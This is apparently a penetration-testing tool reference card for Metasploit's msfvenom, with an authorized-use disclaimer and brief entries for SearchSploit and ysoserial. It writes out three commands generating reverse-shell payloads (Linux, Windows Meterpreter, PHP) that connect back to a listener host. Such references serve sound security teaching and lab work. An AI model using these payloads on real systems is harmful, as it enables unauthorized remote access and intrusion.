Exploitation

msfvenom

Payload generator/encoder from Metasploit project.

intermediate

Linux

Exploitation

Authorized testing only. Practice on systems you own, isolated labs, or targets with written permission. Unauthorized access is illegal.

You need a shellcode/payload for a lab exploit or handler.

Choose payload, LHOST/LPORT, format; pair with multi/handler.

Standard way to generate many payload formats.

Commands & usage

msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.0.0.1 LPORT=443 -f elf -o shell.elf

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=443 -f exe -o shell.exe

msfvenom -p php/reverse_php LHOST=10.0.0.1 LPORT=443 -f raw -o shell.php

Commands are educational examples. Adapt hosts, paths, and rates to your authorized scope.

SearchSploit (Exploit-DB)

Offline search of Exploit Database scripts and advisories.

ysoserial / ysoserial.net

Generate payloads for exploiting unsafe Java/.NET deserialization.